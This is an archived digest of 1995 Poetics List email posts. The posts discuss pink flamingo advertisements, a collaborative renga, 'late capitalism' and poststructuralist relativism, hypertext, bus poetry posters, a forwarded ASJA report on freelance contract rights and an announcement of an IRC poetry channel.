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chris: you suggest i'm defending laissez faire economics and a certain corresponding poetry. i protest; it is not so. but i do enjoy watching the devil at work, and enjoy watching poems move in a realm they ostensibly deny. and what, essentially, is hypertext, for instance? when do we really get to escape?

↑ Index

7. Daniel Bouchard/College/hmco

Re: more flamingos

Wed 1 Nov 1995

---

50 Flaminos secretly set up before 6 am for
the ultimate surprise (home or work).
Includes personalised sign. Lasts all day at
$70. Any Occasion.

"Any Occasion," as in, can you think of any occasion where you would pay someone to do this? Perhaps the ultimate surprise would be if the flamingos came alive and attacked your pets. That might be interesting.

[redacted]

↑ Index

8. Tony Green
more flamingos
Wed 1 Nov 1995

FLAMINGO
MESSAGES

50 Flaminos secretly set up before 6 am for
the ultimate surprise (home or work).
Includes personalised sign. Lasts all day at
$70. Any Occasion.

Ph: (64 09) 0800 42 5050
all hours

---- ad in (NZ) The TV Guide this week

Tony Green,
e-mail: [redacted]

↑ Index

9. Charles Alexander
Re: more flamingos
Wed 1 Nov 1995

> *50 Flaminos secretly set up before 6 am for the ultimate surprise (home or work). Includes personalised sign. Lasts all day at $70. Any Occasion.*
>
> *"Any Occasion," as in, can you think of any occasion where you would pay someone to do this? Perhaps the ultimate surprise would be if the flamingos came alive and attacked your pets. That might be interesting.*

Actually, when I lived in Madison, Wisconsin in the late 1970's and the student senate of the University of Wisconsin was controlled by a comic group, one morning all awoke to find the extremely large hill leading up to the main administration building being covered with pink flamingos, probably several thousand of them. I thought it was a grand occasion.

charles

↑ Index

10. Alan Golding

Rich

Wed 1 Nov 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Does anyone have an address/number for Adrienne Rich?

↑ Index

11. Jorge Guitart

renga report I

Wed 1 Nov 1995

(By Cris Cheek, Tom Bell, George Bowering, Jordan Davis, Jorge Guitart, Sheila Murphy, and Gabrielle Wexford, as of November 1, 1995)

Does this ever happen to you?
The rose was blue,opaque,low,light,narrow,and rectangular
Although they although they seemed randy seemed randy
Over hill&dale they wore galoshes slowly
By the time I get to Ypres
you may be Victor the Vector but I am Pierre Par Excellence
Random rhinos know little or care exercised
How homilies are revivified, sacrosanct lunch:
Grownups say of themselves before very short takes:
What child is this, who laid to rest
Togas on the baseboard, the three-ring dodgems filled
because the unspeakables are piling up
I just knew that events would couple with dependency:
Tiny kings of our dance port the lodging and
Isn't that just like a fern.
You know, I've never been on a helicopter raid
On the off-off-chance, memorial gematria,
On the lip of leaving the firm boggles her
yet not severance but bits of icy names.
Lonely rhinos only prance primrose and fell
They say my horse is all in my temples and
Captain Tomorrow's raving covered the walls
By the excelling disbelief of whateverness
she sells Cshells and gelcaps the acid edge away
and/or did they radiate bagness over the fragments of blots,
or ramrod strait-laced hoping for a jolt of lightning out

or exchanged their blind letter for a parapetal posture
but like the strong and weak forces mostly they
gossipped of souvenirs of deliriums of proctors & priests
and they too were skeptical of the value of the face
of the calcined sheriff and each to each tongues and balls
a face to sell a magazine, a face to turn to the side
unavoidably becomes an image of a nation without a
true face a rubble of history in the grass where a
decapitated statue of scar tissue recording the grain of
farm house timbers behind the exterior of the city was an
interior composed falling on the Concerns box & a sob
distant as adventure capital diverts attention from wars in
three voices and the steady rain of hemlock
completely set on the sea as so much crabbiness
passacaglia without the prefab little knobbed things
on them where wrote was written, stepping one four nine
nutting nothing a-merrily over my dead bodies in
abandon or tremolo, finding the shores awash with alphabet,
proclaiming nothing libretti, salted with much, much more
than roughage added to taste empowering scores of liberated
mozos intent of Lacanian of Palookaville & the dead heroes
of Guadalajara. In the books were dreams and in the dreams
were books which have been fumigated. Silverfish blue
rockets sourdough that the essential unity is pissed off
about unless we're a bit of rough tatti
totalizing the egress of shimmering luck data
to boot. Sack me down with a mess of points
vertical short-changers, beesting exchequers
by providing the type of diffidence no one writes about
rhinos today who sang elegaically in tuinol the moth, and
the long wooden staircase to a white vertebral in mines
vertical. But do not climb the flagpole during the tourney

↑ Index

12. Tom Beard

dunnot but / late capitalism

Wed 1 Nov 1995

Chris wrote to Ed-

> *ED (Foster)--*
> *I am not entirely sure I understand you, but it seems you prefer an economy of "essentialism" to an more "relativistic" or at least*

> *"perspectival" economy that you claim dominates poetics today as it dominates "late capitalism." Yet you seem to link "essentialism" to "laissez faire economics"(?!?) and eventually "alchemy". How does THE ESSENTIAL justify LAISSEZ-FAIRE economics? I know it has been USED this way ideologically in the past--but if you are claiming to prefer such a poetical mode, and contradting it with the arbitrariness of value in late capitalism, doesn't your distinction ultimately collapse on itself (insofar as both "economies" ultimately support exploitive economic relations)?*

Excuse my ignorance of both economics and post-whatever theory, but isn't the contemporary idea of relativism closely related to capitalism? I.e., there is no "essential" moral yardstick by which one can judge one culture to be superior to another; and there is no "essential" value inherent in any object, just its exchange value, which is subject to the vicissitudes of the market. Value in the marketplace is fundamentally relative, so I'm also puzzled by the idea that the "essential" justifies "laissez-faire economics" - or that it _can_ be "justified". It's like justifying gravity or natural selection.

Which is why I'm also puzzled by the term "late capitalism". It's one of those terms that pretends to establish its speaker's point simply by existing - for capitalism to be able to have a "late" period, it has to be a phenomenon of finite duration, and by using the term "late" capitalism (as opposed to "recent" or "contemporary" capitalism) one implies that that duration is nearing its end. I presume that whoever coined this term had already convincingly established the demise of capitalism - can anyone give me a reference to the origins of this phrase?

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

13. List Maintenance Services

Getting current e-mail address of subscribers

Wed 1 Nov 1995

If you need the current address of a Poetics List subscriber send a message to

[redacted]

that says simply:

review poetics

you will get back a complete subscriber list, with currently active addresses (bad or old addresses are quickly deleted from a list of this volume). Though you haven't heard from most of them, there are currently 280 subscribers to the list. ALL subscribers are reminded to post information about their new publications, as are publishers; people who coordinate reading series are also asked to post information.

Loss has also compiled a directory of poets at the EPC, from which you can send messages directly. Over time, some of these addresses may no longer be valid, so notify Loss of any changes of address if you want to keep this listing accurate.

↑ Index

14. Patrick Phillips
Re: dunno but
Wed 1 Nov 1995

Don't all poems move in a "realm" they obstensibly deny? Surely some more, or better than others.

Having and enjoying a brief and rich discussion a month back with Rae Armantrout (here is an intertextual hello, Rae) about irony and we both agreed, or well, I suggested that the only good irony is that that don't capitulate to rhetoric, that gets back to that "use" thing. Work that we can use. Perelman is good at this. Armantrout is good at this: the irony of a street sign she talked about along the CA/Mexico border depicting a small family running - a family crossing sign - doesn't get stuck in the mill of the said. It goes out quickly to the social and the economic and to the economy of language and the social. It seems to me a task of poetry to de-essentialize language/diction so that it goes out to use. It sometimes, or always in some very real measure fails at this, either at the beginning, or after its been around awhile. But there really is a reason and a material need for that sign - and not just so you avoid running them down.

↑ Index

15. Aldon L. Nielsen
Re: latter day lateness
Thu 2 Nov 1995

The term "late capitalism" is no more dependent upon the end of capitalism being already in sight than the term "late evening" is dependent upon evening's in fact being over. It does, no doubt, indicate some form of faith on the speaker's part that this will not turn out to have been "middle capitalism" after

all. It is a form of wishful thinking, no doubt, but does not require proof that capitalism has ended or will next week.

I am still unsure how the general understanding that poststructuralist theories are "relativist" came about. To claim that value is produced by social activities, not inherent as a property in an object as such, or to argue that there is no transcendant a priori realm of truth by which human utterances may be measured, is not necessarily to assume what is popularly known as an absolute relativism. This is really more an argument about what truth and value _are_ than a claim that it's all relative. In _Limited Inc_, Derrida, sounding a bit exhasperated, remarks that "from the point of view of semantics, but also of ethics and politics, 'deconstruction' should never lead either to relativism or to any sort of indeterminism." Derrida, and I only use him as an example because he is so often blamed for having loosed this relativism upon criticism, argues not against the value of truth; instead he reinscribes it in "larger, more stratified contexts." He does not say, anywhere that I can find in his writings, that there is no reality, no referent, but that one cannot refer to this "real" except in an interpretive experience. The antiessentialist position is generally easily confirmed by the existence of items taken by speakers of the language to belong to the same category that do not, at the same time, seem to share that "essential" characteristic. Thus, to use one immediate example, if Clarence Thomas is not "really" a black person, then the color of a person's skin must not be an essential trait of social blackness; and if he _is_ really a black person, then many of the cultural traits taken by people too numerous to mention as being "essential" to blackness must not be essential after all.

Admittedly a bad example --
but it was Genet who once asked "what color is a black man?" and he
hadn't been reading Said, Fish, or Foucault on that day either --

↑ Index

16. Tom Beard
relatively late
Thu 2 Nov 1995

Thanks for the reply, Aldon - it's answered some of my questions and, not unexpectedly, raised a few more.

> *I am still unsure how the general understanding that poststructuralist theories are "relativist" came about.*

Maybe through reader-centred theories of literature, at least in my case. I got the impression that (at least in their most extreme varieties) these theories hold that every reader's viewpoint is as valid as any other's, including that of the

author. This seemed to parallel the idea, borrowed from Special Relativity, that "there is no privileged frame of reference".

> *To claim that value is produced by social activities, not inherent as a property in an object as such, or to argue that there is no transcendant a priori realm of truth by which human utterances may be measured, is not necessarily to assume what is popularly known as an absolute relativism. This is really more an argument about what truth and value _are_ than a claim that it's all relative.*

I guess that I assumed a binary opposition between "absolute" & "relative", based upon the dictionary definition of "absolute" being "not relative", whereas poststructuralist thought attempts to bypass this division. Is that what you're saying? What _are_ truth & value, if they are neither "[a] transcendent a priori realm of thruth" nor dependent upon the perceiver? Or is my definition of "relativism" astray? I have friends who would claim that we all have our own "truths", each as valid as any other - perhaps this is more a New Age belief, based upon second-hand misreadings of Quantum Mechanics, rather than any form of poststructuralist theory.

> *Derrida ... argues not against the value of truth; instead he reinscribes it in "larger, more stratified contexts."*

I'm intrigued by this. Could you elaborate upon what he means by these contexts?

> *The antiessentialist position is generally easily confirmed by the existence of items taken by speakers of the language to belong to the same category that do not, at the same time, seem to share that "essential" characteristic.*

It could be argued that, in a crude sense, the speakers are not speaking the same language. Of course, the reductio ad absurdum of that argument is that we _all_ speak different languages, but the borders of what constitutes "a" language are impossibly fuzzy. If one person defines "blackness" by purely genetic or chromatic criteria, and another by purely cultural criteria, then they are speaking different languages (of course this happens all the time); when the cultural criteria have been associated with chromatic ones, and then both sets of criteria start to blur and (literally) blend, we end up with real confusion.

In the case that you mentioned, "blackness" might be treated in fuzzy logic terms - the extent to which person A can be described as "black" depends upon the number of those "essential" traits that he or she exhibits. We could certainly do with a less "black & white" (so to speak) view of ethnicity and cultural belonging. I have certain characteristics that would lead me to being culturally identified as an Englishman, others that would classify me as a New Zealander, an still others that fit nowhere. It might be simplistic, but can we view someone

as being neither "really" black nor "really" white, and not somwhere inbetween; but as an individual with personal traits that hail from (say) Africa, England, ancient Athens and Japan, independent of their own cultural upbringing and genetic composition?

Tom Beard,
late in the evening (which is going to end soon).

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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17. Chris Stroffolino

Re: dunno but

Thu 2 Nov 1995

Of recent postings I am most intrigued by Pat Phillip's (in part because I know of the sign of which you and Rae spoke, Pat---Hey Pat, does RAE have a POEM on this sign? If so, I'd love to see it.) Though this sign of an illegal immigrant family crossing may not get stuck in what you call "the mill of the said," it has been MADE INTO a T-SHIRT (I'm absolutely serious about this) and the irony here assumes an idea of authorial intention. I don't quite know how to "read" it--IS the sign designed to be analogous to DEER CROSSING signs ("WARNING: ILLEGAL IMMIGRANTS---like those "SLOW CHILDREN signs) or is it blatantly sinister in intention (as if to say STOP YOUR CAR AND PLEASE ENGAGE IN VIGILANTE ACTIVITIES and round up these "nonpersons" so the price of fruit may go up, etc). Anyway, your point is well taken Pat, A point of poetry is to de essential- ize. Of course, that's not the only point, and Aldon's reading of Derrida's non "relativism" is astute (I mean "task" not "point"). As is the complexity Pat points to through his recognition of inevitable failure in going "out to use". Part of the problem is that the word "use" in Pat's formulation is implicitly contrasted with "exchange" and thus seems it must be read as similar to "essential" in contrast to the relativity of exchange. This is useful (sorry) up to a point, but then the word "use" has been used in so many ways--and though it may seem to be some kind of archimedian point beyond "the mill of the said",in other contexts the word has decidedly more negative connotations. When Stevie Wonder sings "where he lives they don't use colored people" there is on one level a complaint about unemployment and on another level a critique of the systematic USE of employees in general. As if to say "THEY DON'T EVEN USE US" and calling

attention to the doubly disen- franchised status. To the extent, that the political implications here are seen in opposition to each other--in sofar as wanting to be USED and wanting to DO AWAY WITH USE as such are contradictory urges foisted upon people by "economic necessity" poetry may seem to fail--but the double meaning in Wonder's use of USE may be said to be a kind of Alchemy (as Foster understands it): the sum greater than the parts. chris s.

↑ Index

18. Judy Roitman

Re: dunno but

Thu 2 Nov 1995

> *the irony of*
> *a street sign she talked about along the CA/Mexico border depicting a small*
> *family running - a family crossing sign -*

This sign appears on I-5 between LA and San Diego, where I-5 goes through Camp Pendleton. Its combination of caring (don't run over these people) and condemnation (these people are *aliens*) goes far beyond irony, well into that brilliant hell where good people who work in bureaucracies -- your average social worker, for example -- construct their daily, necessarily compromised lives.

↑ Index

19. Herb Levy

Re: more flamingos

Thu 2 Nov 1995

Tony Green writes:

> *FLAMINGO*
> *MESSAGES*
>
> *50 Flaminos secretly set up before 6 am for*
> *the ultimate surprise (home or work).*
> *Includes personalised sign. Lasts all day at*
> *$70. Any Occasion.*
>
> *Ph: (64 09) 0800 42 5050*
> *all hours*
>
> *---- ad in (NZ) The TV Guide this week*

Anyone the list know how much Eleanor Antin "charged" for 100 boots, an art precursor to this, um, business venture?

But I guess this is just another example of popularizing (or commercializing) an art form.

Herb Levy
[redacted]

↑ Index

20. Eryque Gleason
...too much magic bus...
Thu 2 Nov 1995

---

on the scenic south side of chicago, where the only visible artistic endeavors are graffiti, some of the city buses have a poster series called "street stories" or something very much like that.

In the last two weeks i've seen Michael McClure, Lorine Neidecker, and Wallace Stevens on the bus while riding through the projects...

...beats the shit out of flamingoes!

eryque

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems...

↑ Index

21. Edward Foster
Re: dunnot but / late capitalism
Thu 2 Nov 1995

---

tom: you're absolutely right; the connection is real. as for the "late" in "late capitalism," so far that's wishful thinking, tho you'll find argument to the contrary. in any case, the oddity is that such claims, unless they be merely wishful, return one to logos, logic, history, and other muddied realms of the essential. i love foucault but wish he'd been a poet. -ed

↑ Index

22. Edward Foster
Re: dunno but
Thu 2 Nov 1995

ah, yes, irony: for some, and as a late device, when the rhetoric is set, but it can be precious and cloud the particular.

↑ Index

23. Beth Russell
hypertextual understanding
Thu 2 Nov 1995

Judy, yes, of course there are things one can _do_ with the _physically_ tangible book; the marginalia, drafts, notes and arguments via notes, seems to me to be very significant methods of _challenging_ a text. HT/hypermedia certainly extend these possibilities. My particular problem (and it may not even be a problem, but more an inevitable dilemma) concerns the movement of technology (gies) within society, before _we_ (as a social body enacting laws or rules) have had a chance to understand the theoretical implications of what it is we are doing...what I'm trying to get at is an understanding of how we can _look_ at these _new_/moving technologies w/out becoming blindly accepting of the mediums; it seems that there has been an anti-analytical tradition going on in pre-capital--through--late-capital social structures, which ignores the implications of the theoretical--and then, it is too late to analyze...for example, the television has radically changed the world, but was there ever any questioning of tv at its be- ginning stages, of potential problematics? or the washing machine, or microwaves or electric blankets....absurdly speaking, perhaps. It seems that we move after the technology, rather than before or _with_ it, in understanding.

beth

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24. Joe Amato
Re: hypertextual understanding
Thu 2 Nov 1995

beth, part of what you say reminds me of the old anon. saying, that "science owes more to the steam engine than the steam engine to science"... another way of putting which is to observe that the steam engine predates the science of thermodynamics, that theoretical practice, as it were, often lags behind other sorts of practice...

the anxieties you allude to have been with 'us' for a long while... one resurfacing occurs in eisenhower's allowance, during the fifties, that our technologies, esp. the atomic bomb, have outstripped our capacity for dealing with same (see that midnight madness flick, if you haven't already, _the atomic cafe_)...

artists in this century seem to me to have in many cases expressed a profound ambivalence about alla this...

all best//

joe

↑ Index

25. Judy Roitman
Re: hypertextual understanding
Thu 2 Nov 1995

> *It seems*
> *that we move after the technology, rather than before or _with_ it, in understanding.*
>
> *beth*

I think that's a given, I think it's true for everyone in all cultures, and I think it's true not just for technology but for anything (even the attempts of people to hang on to old stuff has unanticipatable consequences).

Which is not of course saying that we shouldn't try to at least think about it. We just need a little humility is all.

(Those of us who lived through the fifties may remember those incredibly self-assured comics that predicted the future -- got any monorails suspended up in the air in your neighborhood? -- and managed to completely miss major changes then under way such as the near-death of the inner city and the growth of exurbia.)

↑ Index

26. Aldon L. Nielsen
Re: signs taken for wonders
Fri 3 Nov 1995

---

on my way to Santa Barbara, so only have time for a couple quick notes --

--that sign of the nuclear family in flight is also the cover art for the anthology from Duke edited by Alfred Arteaga and titled, if I remember it right, _In Other Words_ -- a good read

My own wonder was always elicited by that other crossing icon, the striding profile pedestrian that appears on signs beside the road -- some of these symbolic pedestrians seem to be missing hands and feet, which has always caused me to take them more as a warning to walkers than to drivers --

Quickest place to see Derrida trying to be clear about that larger context for truth is in the cited _Limited Inc_ --

Haven't actually seen the question of "validity" crossed with the question of "relativism" in much reader response work that I've read -- For American reader respondnets of the Holland type, the question of "validity" doesn't really apply -- It does apply very much within European reader response critics, such as Iser, but there, given the background of phenomenalism, "relayivity" doesn't have much currency.

In any event -- part of the confusion seems to arise from people assuming that because there are an infinite number of possible interpretations, any interpretation can be "valid." I don't know of anybody who makes that claim seriously (which does not mean that such people don't exist.) There is an infinite number of possible prime numbers, but not all numbers can be prime numbers -- for example --

The problem with the "it's all relative" stance is that it essentialy brings a halt to any useful conversation about the interpretations -- We can examine interpretations in relationship to their own inner logics, and we can certainly place "competing" intepretations alongside each other in varying reading contexts and ask ourselves how they do the work that they perform, all of which can lead to interesting discussions that have the effect of causing us to rethink and recontextualize our modes of reading --

But the upshot of this is that the folks who complain that poststructuralist theories are relativist aren't really interested in having that kind of conversation -- they want, instead, to make one of the parties to the conversation go away --

Now I have to go away for the week-end -- but the various ghosts in my machines will collect the digests for me and I'll weigh in again soon --

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27. R I Caddel

Re: magic bus

Fri 3 Nov 1995

Those poetry posters on the buses: would that be STREET FARE JOURNAL? If so I've seen several of them - they're edited/designed by George Evans and there's been some good'uns. Decently designed - which puts them way ahead of

our "Poetry on the Underground", which look as if they were selected by the Department of Education and Employment and designed by the Department of Transport.

I'd still prefer the flamingos: saw one solitary one once (an escapee) on an estuary in East Anglia, grazing next to "native" waders (avocet, redshank etc) which would have looked gaudy in any other company...

I'd like to have made up "Department of Education and Employment", but I didn't. x x x Richard Caddel,
E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

28. Tom Beard
Re: signs taken for wonders
Fri 3 Nov 1995

Aldon -

> *In any event -- part of the confusion seems to arise from people assuming that because there are an infinite number of possible interpretations, any interpretation can be "valid." I don't know of anybody who makes that claim seriously (which does not mean that such people don't exist.)*

Most of my high school English teachers claimed this, saying that "everyone has their own truth, each of which is equally valid". I don't know if they learnt this through some form of theory, or whether it is part of the Zeitgeist that grew up along with the theory. There was also a controversy here recently when the Museum of NZ had an exhibit ("Voices", I think) portraying the origins of NZ, and the "voice of the Maori" was presented alongside the "voice of science" as equally valid thruths about the origin of the earth and its landforms. This seemed akin to the Southern state (Alabama? Tennessee?) that decreed in the 80s that "Creation Science" had to be taught alongside evolution in classrooms.

Anyway, it seems that the distinction between "response" and "interpretation" is vital here. There is no such thing as an "invalid" response - to claim so would be nonsense. When a reader/perceiver projects that response back upon the text and attempts to draw conclusions about it, then questions of (in)validity come into play.

As a very crude example, I might read a poem as making a comparison between an apple and a lightbulb, and I might be struck by this image. This response

cannot be judged as valid or otherwise. If, however, I then interpret the poem as meaning that apples & lightbulbs share the property of edibility, I might be in for a painful demonstration of the invalidity of this interpretation.

> *But the upshot of this is that the folks who complain that poststructuralist theories are relativist aren't really interested in having that kind of conversation -- they want, instead, to make one of the parties to the conversation go away --*

Perhaps ... but that's just you're interpretation.

But seriously, as you say, _both_ extremes (_I'm_ right & _you're_ wrong; vs. well, we're all right in our own ways, aren't we?) will end the conversation. Perhaps we need some sort of Popperian approach to interpretation: each viewpoint is tentative & cannot be proven, but should be open to falsification if it is to be considered. This might keep the dialogue open.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

29. Tenney Nathanson
do know but?
Fri 3 Nov 1995

(no I don't know but I'm getting embarrassed at seeing over & over again a title I originally slapped on a message to designate fumblings or fake fumblings, who knows at this point....)

> *Date: Thu, 2 Nov 1995 10:29:11 -0500*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: dunno but*
>
> > *Of recent postings I am most intrigued by Pat Phillip's....*
> >
> > *Part of the problem is that the word "use" in Pat's formulation is implicitly contrasted with "exchange" and thus seems it must be read as similar to "essential" in contrast to the relativity of exchange. This is useful (sorry) up to a point, but then the word "use" has been used in so many ways--and though it may seem to be some kind of archimedian point beyond "the mill of the said",in other contexts the word has decidedly more negative connotations.*

Right, I think, on the supposed archimedian point. I think the term "use" got abused pretty badly in some early euphoric Language-writing theory for just that reason. The use/exchange dyad got marshaled in strange ways in the seventies. The hasping to "use" strikes me as odd, too, in Pat Phillip's post since so much of it hovers over the Derrida interchange w Searle, where the use/mention dyad Searle clings to from Austin comes in for Derrida's most manic dissecting. So, Pat: if not (?) use versus exchange or use versus mention, then use versus what? Or do you have use/exchange in mind?

Tenney

↑ Index

30. Tenney Nathanson
too, too late ?
Fri 3 Nov 1995

> *Date: Thu, 2 Nov 1995 15:04:50 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: dunnot but / late capitalism*
>
> *tom: you're absolutely right; the connection is real. as for the "late" in "late capitalism," so far that's wishful thinking, tho you'll find argument to the contrary. in any case, the oddity is that such claims, unless they be merely wishful, return one to logos, logic, history, and other muddied realms of the essential. i love foucault but wish he'd been a poet. -ed*

so that even the disclaimers in Jameson's pomo book sound disingenuous

↑ Index

31. Eryque Gleason
Re: magic bus
Fri 3 Nov 1995

> *Those poetry posters on the buses: would that be STREET FARE JOURNAL?*

Those are the ones...

if anything as colorful as a flamingo ever showed up at 22nd and State, no one would know what to do with it.

Busload of flighty creatures? Sounds like the mall bus to me...

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616

If I weren't a monkey, there'd be problems.

[redacted]

↑ Index

32. ULMER SPRING
Re: hypertextual understanding
Fri 3 Nov 1995

---

who you gonna bomb hum bomb i think about technological anxiety and autism - a shutting off of feeling and adoptation of mechanical/robotic function. in the case of bettelheim's study of Joey, a boy who needed the idea of machines in order for him to live. he ate by hooking up his "wires" to the table, slept with a steering wheel, etc. When do machines run us? The collaboration between human and machine, perhaps an alternate cyborg, is both deadly and promising. when I read the listserv mostly i am struck dumb, wish to revert to a silent blob, feel hostility towards others - I hate this reaction - don't understand whether i bring my own bad mood to the screen, or whether i want talk about poetry to mean more. or whether i get bumbed out because there are virtually less women contributors and wonder whether the forum and the way in which most examples are spoken is something I am just less interested in than writing poetry, in which case i should probably take the listserv less seriously. knowing it is not gender specific language, but a strange world in which speaking is constructed via machine waves. much more satisfying for me this goes back to an earlier comment, to communicate - instead of pass information along - although i definitely think passing information is important. hmmm. I may just be caught in the dreg. spring

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33. Pierre Joris
ASJA Contracts Watch (fwd)
Fri 3 Nov 1995

Forwarded message:
Date: Thu, 2 Nov 1995 09:03:52 -0500 (EST)
From: Lucy Komisar <[redacted]>
To: PEN Listserv <[redacted]>
Subject: ASJA Contracts Watch (fwd)
Content-Length: 7790

---------- Forwarded message ----------
Date: 02 Nov 95 01:05:45 EST
From: Dan Carlinsky <[redacted]>

To: Lucy Komisar <[redacted]>
Subject: ASJA Contracts Watch

I don't know if you see our occasional dispatches on rights matters for freelancers. Here's the most recent. Can you tell me if there's an Echo spot for such news to be posted for interested writers?

Dan Carlinsky
Chair, Contracts Committee
American Society of Journalists and Authors (ASJA)

ASJA CONTRACTS WATCH CW951101 Issued November 1, 1995

[The American Society of Journalists and Authors encourages reproduction and distribution of this document for the benefit of freelance writers. Reprint or post as many items as you wish, but please credit ASJA for the information and don't change the content.]

+ + + + + + + + + + + +

Pandemonium on the Thames: A planned copyright grab by EMAP BUSINESS PUBLISHING, a leading UK house of business and computer magazines and professional journals, may be in for rough sledding. Internal memos just leaked by the UK's National Union of Journalists detail the publisher's plan to force freelance contributors to give up "copyright and all other rights throughout the world ... in all media." Editors were summoned to an October 26 "seminar" to chat about the move with management and receive instruction in the fine points of coercing writers. Instead, according to a report from the NUJ, virtually every editor in attendance spoke against the copyright grab, and just an hour into what was scheduled to be a three-to-four-hour session, the meeting "closed in an uproar with 30-40 editors shouting for their questions to be answered" as senior management beat a hasty retreat.

At the NEW YORK TIMES, editors are perhaps somewhat less demonstrative but clearly unhappy-bordering-on-angry over how they're being forced to treat freelancers; a staff meeting on the plan to take copyright and all rights from outside writers was described by a participant as "raucous." Since then, disgruntled editors at several sections have been dealing with certain reluctant writers by ignoring the management directive and allowing them to write without a signed contract. Management, for its part, is stepping up its strategy of Divide and Conquer. Originally, the Magazine, Book Review and op ed section were declared exempt from the rights-grab order; now, the editors of Travel and Arts & Leisure reportedly have been told they may spare important contributors. The form of dispensation for the favored few varies. Most of those who write for Book Review, for instance, are left very nearly as bad off and insulted as the mass of Times freelancers; they're expected to let the publisher

sell and resell their property via syndication and electronic means forever, without being cut in. Other writers get a pretty clean, almost bare-bones contract. At the Times, one size does not fit all.

Meanwhile, more and more publications seem to be doing it right. SKI Magazine (of TIMES MIRROR MAGAZINES), has begun a World Wide Web venture called SkiNet, consisting of articles from the magazine and daily reports from race circuits and elsewhere in the ski world. Writers happily report that Ski has agreed to pay an extra fee equal to 10 percent of the article price for the right to include a work in the new venture. And an editor confirms that the magazine will take a fair approach by limiting the license to SkiNet only, for just one skiing season. "If we want to do something else, like a CD-ROM," says an editor, "we'll come back to you." Visits to the Web site are already being tracked per article; as traffic and revenue increase, editors say, the magazine will raise the fee for SkiNet or start paying a per-hit royalty.

Freelancers' paperwork from GENERAL MEDIA (which publishes PENTHOUSE, LONGEVITY and others) arrives with a cover letter warning: "Please do not make changes to our contract." Not everyone listens and behaves. Some Penthouse writers report making contract improvements, including changes to the warranty and indemnity, addition of author consultation on editing, and earmarking of 10 percent of the fee for electronic rights. The editor of a sister General Media magazine, FORUM, is more generous with contract fixes. One recent deal reported by a Forum freelancer eliminates some of the extra rights requested and calls for negotiated payments for all others, including electronic.

Add CHILD (a GRUNER + JAHR title) to the list of magazines that try to get writers to accept a work-made-for-hire contract, then retreat and mail "the right contract" on request. The second-try contract needs fine-tuning; as with other G + J titles (such as McCALL'S, FAMILY CIRCLE and YM), writers who stand firm with CHILD can make substantive changes in several clauses. Hardest for G + J to give up, apparently, is the claim for free electronic rights. The boilerplate asks for a three-year license, and editors routinely try to insist on a "compromise" of one year for free. Writers who won't back down, however, are able to cancel the clause entirely. Absent proper compensation for the rights, that's just what they should do.

THE GLOBE AND MAIL, the national newspaper of Canada, has released a new freelance agreement demanding permanent nonexclusive world rights for all media. The Periodical Writers Association of Canada has blasted the rights grab with a blunt statement accusing the publisher of "bullying," calling on writers to refuse, and urging those who have signed without thinking to rescind their OKs. John Mason, PWAC's national president, quotes with irony a line from Junius on the Globe masthead, which urges that loyal subjects "neither

advise nor submit to arbitrary measures." Mason suggests writers protest to executive editor Earle Gill, 444 Front Street West, Toronto, ON M5V 2S9, fax [redacted]. ASJA president Janice Hopkins Tanne has joined PWAC's effort by writing to Gill: "Writers have no problem with granting you the extra rights beyond first use that you may need, but not for free."

Yet another writer has told Contracts Watch of turning down a request from a READER'S DIGEST editor to submit story ideas. After reading the Digest's contract demands, the writer responded: "As a professional writer, I simply cannot sign a contract that demands `all rights' on print and electronic media as well as `the right of first refusal' on all other rights." Other RD magazines--AMERICAN HEALTH, NEW CHOICES and TRAVEL HOLIDAY--do not ask all rights. And on electronic rights, they offer, for example, either a share of income or a flat fee for restricted e-rights.

And a writer passes on this comment from a READER'S DIGEST BOOKS editor trying to line up a large number of contributors to a group effort: "Every time I talk to a writer, all he wants to talk about is the contract."

[The American Society of Journalists and Authors is the national organization of leading freelance writers. Inquiries from all are welcome: Contracts Committee, ASJA, 1501 Broadway, New York, NY 10036, tel [redacted], fax [redacted], e-mail [redacted]

[To receive each edition of ASJA Contracts Watch automatically by e-mail, send the following e-mail command:
TO: [redacted]
TEXT: SUBSCRIBE ASJACW-L

[You'll receive only occasional official dispatches: no reader responses or junk mail, no flooded mailbox.

[Many ASJA members and others send a steady stream of contracts, information and scuttlebutt so that these ASJA Contracts Watch dispatches can be as informative as possible. To thank all contributors individually would be impossible. You know who you are. So do we.]

==========
==========

Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

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↑ Index

34. Loss Glazier
EPC.Live
Fri 3 Nov 1995

Poetics Live and in Real-Time

E P C * L i v e !

November, 1995

What is EPCLive!

POETICS LIVE & FACE-TO-FACE (well, in temporal sync that is), that is the promise of EPC's new venue, EPCLive!

What is it? Through a couple of simple commands (no more than four, really) to connect -- and through the use of about two to four commands while in the EPCLive, real time gatherings are now at your doorstep. Call it a virtual coffee house, a town hall for the town of Poetics, or just a place for you when you want to hang out with other Poetics folk, this space now extends the possibilities of the EPC and RIF/T magazine.

Thanks to Kenneth Sherwood who, as a special project, has arranged for the use of an IRC channel as this private public space for the EPC, we now have access to the live "community center" for our community on the Net.

Live, Volume 1

